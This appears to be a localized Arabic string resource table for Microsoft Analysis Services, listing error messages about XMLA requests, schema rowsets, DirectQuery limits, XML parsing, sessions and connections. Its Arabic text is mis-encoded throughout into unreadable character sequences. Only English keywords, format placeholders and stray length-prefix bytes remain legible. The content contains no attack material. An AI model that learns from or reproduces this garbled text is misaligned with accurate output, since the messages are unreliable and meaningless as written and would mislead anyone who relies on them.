,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 FEH0, *F($.U**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 FEH0, *F($.Z**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 FEH0, *F($._D' JECF '3*./'E 9H'ED 'D*4:JD 'D#-'/J) 61( HB3E) 9F/ *ECJF 'D%,E'DJ'* 'DE1&J) H'D#F8E) 'DA19J).�*E '3*./'E 'D/'D) Exists E9 'DE9DE) 'D+'D+) 'DE-//) (MeasureGroupName). G0' :J1 E/9HE DFEH0, (J'F'* J9ED AJ H69 'D*H'AB 1200 #H #9DI.T9('1'* MDX 9DI F7'B ,D3) 'D9ED E+D CREATE MEMBER :J1 E3EH- (G' AJ FE'0, DirectQuery.g'DE1',9 DD*3D3D'* 'DGJCDJ) 'DE-//) (H'37) 'DE3*./E :J1 E3EH- (G' AJ '3*9D'E'* MDX AJ FE'0, DirectQuery.N#3E'! #96'! MDX :J1 'DE$GD) :J1 E3EH- (G' AJ 'D'3*9D'E'* AJ FE'0, DirectQuery.AH',G *FAJ0 'D'3*9D'E (FJ) MDX :J1 E3EH- (G' AJ FE'0, DirectQuery.c:J1 E3EH- ('DE,EH9'* 'D*J *6E E,EH9'* EF E3*HJ'* E.*DA) AJ G0' 'D3J'B 9F/ 'D'3*9D'E 9F FEH0, ,/HDJ.b*E 'C*4'A #C+1 EF '3EJF 9F/ *-DJD E1,9 'D9EH/ '%{name/}' DCF 'DE*HB9 GH '3EJF '+FJF AB7.(-/ #B5I.D*E *97JD #E'F 'D.D'J' DEC9('* ,D3'* 'D9ED H3JF'1JHG'* *,EJ9 'D#96'!.GD' JECF %,1'! 9EDJ) 'D*,EJ9 D#FG *E *97JD EC9('* ,D3) 'D9ED 9DI 'D.'/E.cD' JECF 'D9+H1 9DI 'DEC9( 'DE5/1 D,D3) 'D9ED/EC9( 'D*,EJ9. J1,I E-'HD) %9'/) %F4'! EC9( ,D3) 'D9ED.�D' JECF *9JJF .'5J) DataView %DI Sample 9F/E' D' J-*HJ 'DFEH0, 9DI #J EF (J'F'* Vertipaq. 'D1,'! %F4'! (96 'D#,2'! 'D9JF) #H '3*./'E DataView 'DC'ED.%DE **E E9'D,) 'DEC9( %{strCubeName/}.\J3*F/ 'D'3E 'DA1J/ '%{uniqueName/}' %DI *F3JB EA*'- E1C( HGH :J1 E/9HE AJ 'DFE'0, 'D,/HDJ).PAP*BHE E,EH9) 5AHA 'DE.77 CATALOGS (*91JA 'D3E'* 'DA9DJ) 'DE1*(7) (BH'9/ 'D(J'F'*.b*BHE E,EH9) 5AHA E.77 TABLES (*91JA 'D,/'HD AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.g*BHE E,EH9) 5AHA E.77 TABLES_INFO (*91JA 'D,/'HD AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.c*BHE E,EH9) 5AHA E.77 COLUMNS (*91JA #9E/) 'D,/'HD AJ 'DC*'DH, 'D0J JECF DE3*./E E9JF 'DH5HD %DJG'.M*BHE E,EH9) 5AHA E.77 PROVIDER_TYPES (*91JA #FH'9 'D(J'F'* 'D#3'3J) 'DE9*E/).b*BHE E,EH9) 5AHA E.77 CUBES (*91JA 'DEC9('* AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.f*BHE E,EH9) 5AHA E.77 DIMENSIONS (*91JA 'D#(9'/ AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.r*BHE E,EH9) 5AHA E.77 HIERARCHIES (*91JA 'D*3D3D'* 'DGJCDJ) AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.d*BHE E,EH9) 5AHA E.77 LEVELS (*91JA 'DE3*HJ'* AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.e*BHE E,EH9) 5AHA E.77 MEASURES (*91JA 'DEB'JJ3 AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.f*BHE E,EH9) 5AHA E.77 PROPERTIES (*91JA 'D.5'&5 AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.c*BHE E,EH9) 5AHA E.77 MEMBERS (*91JA 'D#96'! AJ B'9/) 'D(J'F'* 'D*J JECF DE3*./E E9JF 'DH5HD %DJG'.PAN*BHE E,EH9) 5AHA E.77 FUNCTIONS (*91JA 'D/'D'* 'DE9*E/) EF BP(D EHA1 'D(J'F'*.N*BHE E,EH9) 5AHA E.77 ACTIONS (*91JA 'D%,1'!'* 'DE9*E/) EF BP(D EHA1 'D(J'F'*.T*BHE E,EH9) 5AHA E.77 SETS (*91JA 'DE,EH9'* 'DE-3H() 'DE9*E/) EF BP(D EHA1 'D(J'F'*.l*BHE E,EH9) 5AHA E.77 MINING_SERVICES (*91JA .H'12EJ'* ,E9 'D(J'F'* 'D*J J*E *HAJ1G' EF BP(D EHA1J 'D(J'F'*.w*BHE E,EH9) 5AHA E.77 MINING_SERVICE_PARAMETERS (*91JA 'DE9DE'* 'D*J JECF '3*./'EG' D%F4'! FE'0, DCD FH9 EF 'D.H'12EJ).{*BHE E,EH9) 5AHA E.77 MINING_FUNCTIONS (*91JA 'D/'D'* 'D*J JECF '3*./'EG' D%,1'! '3*9D'E 9DI 'DFE'0, DCD FH9 EF 'D.H'12EJ).g*5A E,EH9) 5AHA E.77 MINING_MODEL_CONTENT 'D#FE'7 'D*J *E 'C*4'AG' 9F/E' C'F* **E E9'D,) FE'0, 'D*,EJ9.y*-*HJ E,EH9) 5AHA E.77 MINING_MODEL_XML 9DI 'D#FE'7 @ AJ *F3JB XML @ 'D*J *E 'C*4'AG' 9F/E' C'F **E E9'D,) FE'0, 'D*,EJ9.K*BHE E,EH9) 5AHA E.77 MINING_MODELS  (*91JA 'DFE'0, 'DE*'-) DEHA1 'D(J'F'*.O*BHE E,EH9) 5AHA E.77 MINING_COLUMNS (*91JA #9E/) FE'0, 'D*,EJ9 DEHA1 'D(J'F'*.O*-*HJ E,EH9) 5AHA E.77 DISCOVER_DATASOURCES 9DI B'&E) (E5'/1 'D(J'F'* 'DEF4H1).a*9J/ E,EH9) 5AHA E.77 DISCOVER_PROPERTIES E9DHE'* -HD 'D.5'&5 'DE/9E) EF BP(D XML DEHA1 Analysis.f*9J/ E,EH9) 5AHA E.77 DISCOVER_SCHEMA_ROWSETS B'&E) (CD BJE *9// RequestTypes 'DE9*E/) EF BP(D 'DEHA1.X*9J/ E,EH9) 5AHA E.77 DISCOVER_ENUMERATORS 'D9/Q'/JF DEHA1 H*4ED #FH'9 'D(J'F'* H'DBJE.O*31/ E,EH9) 5AHA E.77 DISCOVER_KEYWORDS 'DCDE'* 'D#3'3J) 'DE-,H2) EF BP(D EHA1.n*9J/ E,EH9) 5AHA E.77 DISCOVER_LITERALS E9DHE'* -HD 'DBJE 'D-1AJ) 'DE9*E/) DEHA1 H*4ED #FH'9 'D(J'F'* H'DBJE.PA_J,( *1BJ) ECHF'* 'D9EJD 9DI E-7) 'D9ED G0G B(D *#3J3 '*5'D %DI G0' 'DE+JD EF Analysis Services.PA�*E *,'GD 9F51 'DB1'!) AB7 '%{strQName/}' 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (namespace %{strNSURI/}) *-* %1[%{strName/}%]%[/%{strName/}%].;D' JECF *FAJ0 'D'3*9D'E. J,( *9JJF C*'DH, D,D3) 'D9ED G0G. \D' JECF 'D9+H1 9DI E91A E9'ED) '%{txnid/}'. %E' #F 'DE9'ED) :J1 EH,H/) #H *E %CE'DG' ('DA9D._D' JECF 'D9+H1 9DI E91A ,D3) 9ED '%{sessionid/}'. %E' #F ,D3) 'D9ED :J1 EH,H/) #H 'F*G* ('DA9D.hBJE) 'D*BJJ/ 'D*J J*E *HAJ1G' EF BP(D 'D9EJD %E' #FG' D' *7'(B 'DBJH/ 'D#.1I #H *4J1 %DI C'&F :J1 E91HA.ND' JECF %CE'D 'D'D*2'E #H 7D( 'D*1',9 D9/E H,H/ E9'ED) F47) AJ ,D3) 'D9ED G0G.9FH9 9F51 RequestType 'DE7DH( C'F EABH/K' EF 7D( Discover.3DE J*E 'D*91A 9DI 'DBJ/ %{strName/} EF BP(D 'D.'/E.}*901 'D9+H1 9DI 'DF*J,) '%{resultid/}' D,D3) 'D9ED G0G. %E' #F 'DF*J,) DE J*E %F4'$G' EF BP(D 'D1#3 KeepResult #H *E E3-G'PA�*E *-/J/ ObjectExpansion '%{objectExpansion/}' :J1 5'D- D@ DISCOVER_XML_METADATA. 'DBJE 'DE3EH- (G' GJ: ExpandFull HExpandObject HReferenceOnly HObjectProperties.:BJE) 'DBJ/ 'D*J *E *HAJ1G' EF BP(D 'D9EJD EF FH9 :J1 5'D-.:DE J*E 'D*91A 9DI FH9 7D( '%{strReqType/}' EF BP(D 'D.'/E.8'D.'5J) %{strName/} DDB1'!) AB7 HD' JECF *9JJF BJE) DG'.ABJE) '%{value/}' D@ '%{property/}' XML D.'5J) Analysis :J1 5'D-).4*,( E9'D,) B3E '%{partName/}' B(D #/'! *-/J+ *2'J/J.;B3E '%{part/}' DJ3 B3E MOLAP HD' J9*E/ 'D*-/J+'* 'D*2'J/J).`-/+ .7# #+F'! /E, 'D(J'F'* AJ B3E '%{partName/}'. J,( #F *CHF #B3'E 'DE5/1 E.*DA) 9F B3E 'DH,G).s-/+ .7# #+F'! /E, 'D(J'F'* AJ B3E '%{partName/}'. J,( 9DI 'D#B3'E 'D*J 3J*E /E,G' #F *F*EJ %DI FA3 E,EH9) 'DEB'JJ3.l-/+ .7# #+F'! /E, 'D(J'F'* AJ B3E '%{partName/}'. J,( 9DI 'D#B3'E 'D*J 3J*E /E,G' #F *3*./E FA3 H69 'D*.2JF.g-/+ .7# #+F'! /E, 'D(J'F'* AJ B3E '%{partName/}'. J,( 9DI 'D#B3'E 'D*J 3J*E /E,G' #F *CHF EF FA3 'DFH9.(J,( #F JCHF 'DC'&F 'D0J *E *-/J/G B3EK'.H-/+ .7# #+F'! /E, 'D#B3'E. J3*./E B3E '%{partName/}' H69 *.2JF :J1 5'D-.*901 (/! ,D3) 9ED 'D.'/E.-'D9EDJ) :J1 E9*E/) EF BP(D ./E) E9J/ 'D*H,JG.,'DBJ/ %{strName/} E7DH( DCFG EABH/ EF 'D7D(.3D' JECF *6EJF E9'ED) ,D3) 'D9ED /'.D E9'ED) EH,H/).PA�*H,/ E9'ED) ,D3) 9ED BJ/ 'D*B/E ('DA9D HE9 G0' *E (/! 9EDJ) C*'() DJ3* (,D3) 9ED. (9/ %F4'! C'&F ,D3) 9ED J,( #F J*E %3B'7 C'&F ,D3) 'D9ED B(D E-'HD) 'DBJ'E (9EDJ) C*'() .'/E %DI C'&F'* DJ3* (,D3) 9ED.L'FB6* EGD) XML D7D( 'D*-DJD B(D 'C*E'DG. BJE) 'DEGD): %d{timeoutval/} +'FJ).5-/+ .7# #+F'! /E, 'D#B3'E. 'DB3E '%{partName/}' (9J/.>-/+ .7# #+F'! /E, 'D#B3'E. DE **E E9'D,) 'DB3E '%{partName/}'.!DE J*E *-/J/ #J #B3'E E5/1 DD/E,.4B3E '%{strName/}' 'D0J *E *-/J/G D*-/J+ *2'J/J (9J/.FJECF AB7 *9JJF .'5J) ImpactAnalysis -JF JCHF ExecutionMode GH Execute.s%F (J'F'* 'D7D( D' JECF 7D(G' -JF JCHF 'DH69 ExecutionMode 9DI *-6J1 HB/ D' J*E 7D( %D' 'DE.77/(J'F'* 'D*91JA AB7.*901 *-6J1 'D(J'F.\,D3) 'D9ED DG' F*J,) E.2F). J,( 9DI G0G 'D9('1) %E' #F J3*./E 'DF*J,) 'DE.2QF) #H #F JE3-G'.]D' JECF *.2JF F*'&, 'D9('1) 'D-'DJ) 9DI 'D.'/E D#F ,D3) 'D9ED 'D-'DJ) (G' F*J,) E.2F) ('DA9D.bD' JECF *.2JF F*'&, 'D9('1) 'D-'DJ) 9DI 'D.'/E D#F ,D3) 'D9ED 'DEB*1F) %E' :J1 E-//) #H :J1 5'D-).I%F ResultId 'D0J *E *-/J/G AJ 9FH'F 'DF*J,) :J1 5'D- D,D3) 'D9ED 'D-'DJ).JD' JECF *.2JF 'DF*'&, 9DI 'D.'/E 9F/E' JCHF 'DH69 ExecutionMode 9DI *-6J1.LD' JECF '3*./'E F*J,) E.2F) EH,H/) 9F/E' JCHF 'DH69 ExecutionMode 9DI *-6J1.-D*.2JF F*J,) 9DI 'D.'/E J,( *FAJ0 9('1) MDX.PASD'3*./'E F*J,) E.2F) 9DI 'D.'/E J,( 9DJC *FAJ0 %E' 'D9('1) 'D#5DJ) #H 9('1) A'1:).9D' *H,/ F*J,) E.2F) 5'D-) 9DI 'D.'/E D@ ResultId 'DE7DH(._%F 9('1) 'D%/.'D D' *7'(B 'D9('1) 'D#5DJ) 'DE3*./E) D%F*', 'DF*J,) 'DE.2F) D@ ResultId 'DE7DH(.A'3*9D'E 'D%/.'D DJ3 ('DD:) 'DE-//) AJ 'D.'5J) Dialect DG0' 'D7D(.&DE J*E 'D*91A 9DI .'5J) '%{strName/}'.+D' JECF '3*./'E 'DEFA0 0 DCD EF Ipv6 HIpv4.<D' JECF %F4'! C'&F ,D3) 9ED E9 *ECJF 'D9D'E) AllowOverwrite.M'D.'5J) '%{strName/}' DJ3* B'(D) DDC*'() AHBG' HD' JECF *9JJF BJE) ,/J/) DG'.*DE J*E *-/J/ 'D.'5J) CurrentCatalog XML/A.,DE J*E 'D*91A 9DI 1#3 E7DH( HD' JECF *FAJ0G.5*E* EB'(D) (J'F'* E4A1) ('3*./'E base64 3J&) 'D*F3JB.2E7DH( BJE) :J1 A'1:) DDBJ/ '%{strName/}' EF 'D7D(.X*901 *-HJD BJE)%{value/} D@ "%{property/}" XML D.'5J) Analysis %DI FH9 'D(J'F'* 'DE*HB9.VD' JECF %13'D 7D('* :J1 E9'DP,) %DI ,D3) 'D9ED G0G #+F'! H,H/ 9EDJ) */AB'* BJ/ 'D*B/E.2*E '3*D'E '3*9D'E Excel AJ ,D3) 9ED DJ3* D@ Excel.xJ-*HJ ClientRequest ('DA9D 9DI ,D3) 9ED EH,H/) *-'HD 'D-5HD 9DI C'&F ,D3) 9ED #.1I. G0' EB(HD AB7 DE9'D,) E3'1 'DE9'D,).PAzB'9/) 'D(J'F'* G0G E*H'AB) E9 %5/'1 #9DI EF Analysis Services HD' JECF *-EJDG'. *E* EH',G) E3*HI 'D*H'AB: '%{compLevel/}'.:JECF '3*./'E 3E) SkipVolatileObjects AB7 E9 ProcessRecalc.�D' JECF *-/J/ 3E) SkipVolatileObjects 9DI #E1 ProcessRecalc 6EF 9EDJ) /A9J). 'D1,'! *-/J/ 3E) SkipVolatileObjects 9DI 9D'E) Batch XML.�J-*HJ 'DB3E '%{partName/}' 9DI .'5J) DirectQueryUsage *E *9JJFG' 9DI DirectQueryOnly HD' JECFG 'DE4'1C) AJ /E, 'DB3E 9DI 'D%7D'B.�(F'! 'D,ED) DD#E1 'TestConnection' :J1 5-J-. J*E *HAJ1 E9DHE'* .'1, 'D.7 'DE1*(7) AJ -'D) '3*./'E 'D#E1 'TestConnection' 6EF 'Batch' AB7.�(F'! 'D,ED) DD#E1 'TestConnection' :J1 5-J-. J*E *HAJ1 9B/) E5/1 'D(J'F'* AJ -'D) '3*./'E 'D#E1 'TestConnection' /HF 'D1H'(7 'DEH,H/) EF .'1, 'D371.5E3EH- (#E1 'TestConnection' H'-/ AB7 6EF #E1 'Batch'.�BJE) .'5J) C*'DH, 'DBJ/ "%{strCatalog/}" D' **H'AB E9 B'9/) 'D(J'F'* 'D/'.DJ) "%{strScopedInternalDb/}" #H B'9/) 'D(J'F'* 'D.'1,J) "%{strScopedExternalDb/}" EF 'D'*5'D 6EF 'DF7'B. *E 'C*4'A 9B/) *(9J) :J1 E/9HE).ZB'9/) 'D(J'F'* A'1:). J*901 *FAJ0 'D9EDJ) DISCOVER_CALC_DEPENDENCY 9DI B'9/) (J'F'* A'1:).'DE J*E *ECJF /9E '3*9D'E '%{dialect/}'.zJ*7D( 'D#E1 DISCOVER_XML_METADATA E9 ObjectExpansion=ExpandFull *9JJF BJ/ DATABASEID AJ FB7) FG'J) xmla 'D9'E AJ Power BI.WA4D* *1,E) '3E B'9/) 'D(J'F'* '%{strParam/}' %DI 'D'3E 'DE#DHA DE,EH9) (J'F'* Power BI.DJ*,'H2 7HD 'D.'5J) '%{property/}' -/G' 'D('D: %d{length/} EF 'D-1HA.'*E %:D'B 'D'*5'D EF BP(D 'D.'/E 'D(9J/.PA*E *,'H2 EGD) 'D'*5'D.7*901 -D '3E 'DE6JA '%{strHostname/}' host: %{External/}!*901 'D9+H1 9DI '%{strURL/}' URL.j%E' #FG *901 %,1'! '*5'D ('D.'/E%{strHostname/} #F Analysis Services D' J,1J *4:JDG' 9DI 'DCE(JH*1 'DE-//.*E AB/ 'D'*5'D: %{External/}%A4D '*5'D TCP/IP 'DA9DJ: %{External/}#:DB 'DF8J1 'D'*5'D (5A) /'&E).-/+ .7# AJ 7(B) 'DFBD.-A4D 'DED-B MSOLAP ISAPI AJ B1'!) EDA 'D*CHJF.*#9'/ .'/E HTTP 'D.7# 'D*'DJ: %{strValue/}.)'D'3*,'() 'DE9'/) EF .'/E HTTP :J1 5'D-).G-/+ .7# #+F'! '3*./'E E9DHE'* HCJD HTTP 'DEC*4A) *DB'&JK': %{External/},A4D 'D.'/E AJ (/! 'D'3*E'9 9DI #J EFA0 4(C).PA'D' *H,/ #J 9EDJ'* FBD E*'-) 9DI 'D4(C).A*E* EB'(D) FH9 :J1 E*HB9 #H *F3JB '3*,'() :J1 E*HB9 EF E6JA (9J/.%9'/) 'DE5'/B) :J1 E9*E/).4A4D AJ 'D-5HD 9DI BJE) '%{header/}' EF E9J/ 'D*H,JG.$*901 -D 'DD:)/'D%9/'/ 'DE-DJ 'DE-//.
%{strValue/}.*'DD:)/'D%9/'/'* 'DE-DJ) 'DE-//) :J1 5'D-).PAc*E *-/J/ C'&F .'1, 'D.7 '%{OOLObj/}' J4J1 %DI E91A (E91A'*) '%{OOLObjIDs/}' DCF DE J*E '3*./'EG'.*E 'DH5HD %DI FG'J) 'D%/.'D.:(F'! ,ED) '%{strToken/}' :J1 5-J-. (%{pii_strQueryText/}).9(F'! ,ED) 'D#E1 'Process' :J1 5-J-. D' JECF #F *8G1 'DCDE) 'D#3'3J) 'Bindings' *-* 'D#E1 'Process' %0' C'F 'D#E1 'Process' ,2!K' EF #E1 'Batch' HC'F JH,/ #C+1 EF #E1 'Process' AJ 'Batch' #H '-*HI 'D#E1 'Batch' 9DI #J E9DHE'* .'1, 'D.7. AJ G0G 'D-'D) J,( #F *CHF 'DCDE) 'D#3'3J) 'Bindings' ,2!K' EF 'D#E1 'Batch'.DJ-*HJ 'D'3*9D'E 9DI E9DE) '%{strParam/}' H'D*J DE J*E 'D%9D'F 9FG'.4-/+ .7# (F'! 'D,ED) 'D*'DJ #+F'! 'D*H2J9: %{strVP/}.Q(F'! 'D,ED) 'D.'5 ('D%F4'! H'D%/1', AJ EC9('* E-DJ) #H EC9('* ,D3) 9ED :J1 E9*E/.^(F'! 'D,ED) 'D.'5 ('D#E1 'Process' :J1 5-J-. D' JECF 8GH1 'DCDE) 'D#3'3J) 'ErrorConfiguration' *-* #E1 'Process' %0' C'F 'D#E1 'Process' ,2!K' EF 'D#E1 'Batch' HJH,/ #C+1 EF #E1 'Process' H'-/ AJ 'Batch' #H J-*HJ 'D#E1 'Batch' FA3G 9DI  'ErrorConfiguration'. AJ G0G 'D-'D) J,( #F *CHF 'DCDE) 'D#3'3J) 'ErrorConfiguration' ,2!K' EF 'D#E1 'Batch' AB7.L*901 -D 'DE9DE) '%{strParam/}' D#FG B/ *E 'D%1,'9 %DJG' AJ *9(J1 A19J /'.DJ.F*-*HJ FG'J) E9DE) 'D(J'F'* 'D.'5) (7D( */AB'* 9DI FH9 (J'F'* :J1 5-J-.KD' JECF #F *H,/ E,EH9'* 5AHA E3'1 'DE9'D,) H:J1 E3'1 'DE9'D,) AJ FA3 'D7D(.-/+ .7# #+F'! E9'D,) */AB'*.7*E '3*D'E 7D( ,/J/ (9/ #F 'C*ED* 9EDJ) E9'D,) 'D*/AB'*.GD' JECF *-/J/ 'D.'5J) '%{strProperty/}' #C+1 EF E1) H'-/) AJ 'D'3*9D'E.4J-*HJ 'D(1F'E, 'DF5J 9DI (J'F HGH #E1 :J1 E3EH- (G.9%F '%{strType/}' DJ3 EF FH9 'D%,1'! 'D0J J*E 'D*91A 9DJG.!*901 -D DG,) 'D9('1) (3(( 'D:EH6.�(F'! 'D,ED) 'D.'5 (C'&F ImpersonationInfo :J1 5-J-. %0' *E '3*./'E BJE) ImpersonateAccount D@ ImpersonationInfo A%F .'5J) Account 3*CHF A'1:) -JF&0.~(F'! 'D,ED) 'D.'5 (C'&F ImpersonationInfo :J1 5-J-. BJE) .'5J) ImpersonationMode  (%{strImpMode/}) :J1 E9*E/) DE5'/1 'D(J'F'*.&'3E 'DEC9( 'DA19J E.*DA 9F '3E 'DEC9(.PAO.'5J) 'D7D( Dialect :J1 5-J-). 'DBJE 'D*'DJ) GJ AB7 'D5'D-): MDX HDMX HDM HSQL.5'D.J'1'* (FLATTENED, TOP) :J1 E3EH- (G' AJ F8'E A19J.(EH'5A) '3E 'DEC9( 'DE*C11 :J1 E3EH- (G'.C'F 'DE*HB9 9('1) H'-/) AB7.''D9('1) :J1 E9*E/) EF BP(D G0G 'DH',G).1'D9('1) :J1 E9*E/) EF BP(D H',G) OM AJ G0' 'DHB*.J(F'! 'D,ED) DD#E1 'Process' :J1 5-J-. D' JECF 8GH1 'DCDE) 'D#3'3J) 'Datasource' *-* #E1 'Process' %0' C'F 'D#E1 'Process' ,2!K' EF 'D#E1 'Batch' HJH,/ #C+1 EF #E1 'Process' H'-/ AJ 'Batch' #H C'F 'D#E1 'Batch' J-*HJ 9DI E9DHE'* 0'* 5D) .'1, 'D.7. AJ G0G 'D-'D) J,( #F *CHF 'DCDE) 'D#3'3J) 'Datasource' ,2!K' EF 'D#E1 'Batch' AB7.R(F'! 'D,ED) DD#E1 'Process' :J1 5-J-. D' JECF 8GH1 'DCDE) 'D#3'3J) 'DatasourceView' *-* #E1 'Process' %0' C'F 'D#E1 'Process' ,2!K' EF 'D#E1 'Batch' HJH,/ #C+1 EF #E1 'Process' H'-/ AJ 'Batch' #H C'F 'D#E1 'Batch' J-*HJ 9DI E9DHE'* 0'* 5D) .'1, 'D.7. AJ G0G 'D-'D) J,( #F *CHF 'DCDE) 'D#3'3J) 'DatasourceView' ,2!K' EF 'D#E1 'Batch' AB7.M'D9EH/ 'DE-// :J1 E3EH- (G AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.LJO3E- (*9(J1 #E1 H'-/ AB7 D*9(J1 TOP AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.JJ8G1 E1,9 9EH/ :J1 5'D- AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.@'3*/9'! 'D/'D) 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/} :J1 5'D-.RDE J*E 'D9+H1 9DI 'D9EH/ 'DE-// AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.L*9(J1 'DFB7) :J1 E3EH- (G AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.ID' JECF '3*./'E 'D/'D) AJ 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.TJ3E- AB7 (9// 5-J- +'(* :J1 3D(J DD*9(J1 TOP AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.SGROUP BY :J1 E3EH- (G AJ FH9 'D9('1) SELECT AJ 'D371 %d{Line/} 'D9EH/ %d{Column/}.dAJ PCXA DISCOVER XML *-*HJ #9E/) 'DA5D 9DI 3D'3D :J1 5'D-) 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.^AJ PCXA DISCOVER XML *O*HB9 BJE E*9//) AJ G0' 'D3J'B 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.aAJ  XML 'D.'5 (F*J,) PCXA DISCOVER, *-*HJ #9E/) 'DA5D 'D.'5) (E,EH9'* 'D5AHA 9DI 3D'3D :J1 5'D-).B*901 'D9+H1 9DI 9/'/ #/'! '%{strName/}'. .7# ('DF8'E %{ErrorCode/}qE3EH- AB7 (+'(* 9// 5-J- :J1 3'D( AJ 'DF7'B [0, 2000000000] DD*9(J1 SKIP 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.Q%F SKIP :J1 E3EH- (G AJ FH9 9('1) SELECT 9F/ 'D371 %d{Line/} 'D9EH/ %d{Column/}.c9('1) 7D( */AB'* :J1 5'D-. JECF #F J8G1 7D( E9'D,) 'D*/AB'* AB7 E('41) *-* 'D9('1) Execute/Command.qE3EH- (+'(* 9// 5-J- :J1 3'D( AJ 'DF7'B [0, 2000000000] DD*9(J1 TOP 9F/ 'D371 line %d{Line/} 'D9EH/ %d{Column/}.p-/+ .7# 9F/ *H2J9 E,EH9) 'D5AHA. D' J7'(B 'D9F51  '%{colname/}' 'D#9E/) #H 'DA5HD 'DE91A) AJ E.77 E,EH9) 'D5AHA.[-/+ .7# (F'! 'D,ED) 'D*'DJ: 1E2 :J1 5'D- 'D371 %d{Line/} 'D%2'-) %d{Column/}, %s{Token/}.F-/+ .7# (F'! 'D,ED) 'D*'DJ #+F'! 'D*H2J9: (J'F'* BINARYCELL :J1 5'D-).6D' JECF *-/J+ 'D*1',9 'DE.55 D96H ('3*./'E ALTER CUBE.DDE J*E *-/J/ 9F51 CellOrdinal D.DJ) EF 'D.D'J' AJ 'D#E1 UpdateCells.^7D( DISCOVER 'DE4*ED 9DI BJ/ 'MODIFIEDAFTER' J*7D( H,H/ DATABASEID HB/ D' J4J1 %DI C'&F'* #.1IPA�*E 'D9+H1 9DI FH9 XSD :J1 E*91A 9DJG  '%{strXSIType/}' 9DI 'D9F51 %{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E %{strNSURI/}) *-* %1[%{strName/}%]%[/%{strName/}%].�D' JECF #F J8G1 'D9F51 '%{strQName/}' 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E '%{strNSURI/}') *-* %1[%{strName/}%]%[/%{strName/}%] D#F 'D#5D J-*HJ ('DA9D 9DI 9F51 *'(9 '%{strFirstChild/}'.�J8G1 'D9F51 '%{strQName/}' 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} ('%{strNSURI/}' E3'-) 'D'3E) #C+1 EF E1) *-* %1[%{strName/}%]%[/%{strName/}%].�9F51 '%{strRequired/}' 'DE7DH( EABH/ *-* %1[%{strName/}%]%[/%{strName/}%]/%{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E '%{strNSURI/}').EA4D *H2J9 XML 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/}: %{strMessage/}.�D' JECF #F J8G1 9F51 %{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E %{strNSURI/}) *-* %1[%{strName/}%]%[/%{strName/}%].-BJE) %{strEnum/} DJ3* BJE) 5'D-) DG0' 'D9F51.�BJE) '%{strEnum/}' DJ3* BJE) EF7BJ). E3EH- AB7 (@ true #H false #H 1 #H 0 DD9F51 '%{strQName/}' 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E '%{strNSURI/}') *-* %1[%{strName/}%]%[/%{strName/}%]).�JH,/ 9F51 *'(9 E7DH( EABH/ *-* %1[%{strName/}%]%[/%{strName/}%]/%{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E '%{strNSURI/}'). C'F 'DE*HB9 H'-/K' EF %1[%{strChild/}%]%[, %{strChild/}%].�'D9F51 %{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E %{strNSURI/}) .'1, 'D*1*J( *-* %1[%{strName/}%]%[/%{strName/}%].PA�D' JECF #F *8G1 3E) %{strAttrQName/} (E3'-) 'D'3E %{strAttrNSURI/}) 'D.'5) (9F51 %{strQName/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} (E3'-) 'D'3E %{strNSURI/}) *-* %1[%{strName/}%]%[/%{strName/}%].�D' JECF #F *8G1 9B/) 'DF5 %{strText/} 9F/ 'D371 %d{iLine/} 'D9EH/ %d{iCol/} /'.D 'D9F51 %{strQName/} (E3'-) 'D'3E %{strNSURI/}) *-* %1[%{strName/}%]%[/%{strName/}%]. JECF DG0' 'D9F51 #F *CHF D/JG 9B/ F5J) AB7 *-*HJ 9DI #-1A E3'-) (J6'!.�A4D E-DD DOM AJ *-EJD 'D*/AB H*-DJDG. 9FH'F URL:'%{strURL/}' 'D3((: '%{strReason/}' 'DE5/1:'%{strSource/}'. EH69 'DEDA: %d{iFilePos/}. 'D371: %d{iFileLine/}.�*901 *-HJD 'DBJE) %DI FH9 XSD, '%{strXSIType/}', 'DE-// 9DI 'D9F51 %{strQName/} 9DI 'D371 %d{iLine/}, 'D9EH/ %d{iCol/} (E3'-) 'D'3E %{strNSURI/}) 6EF 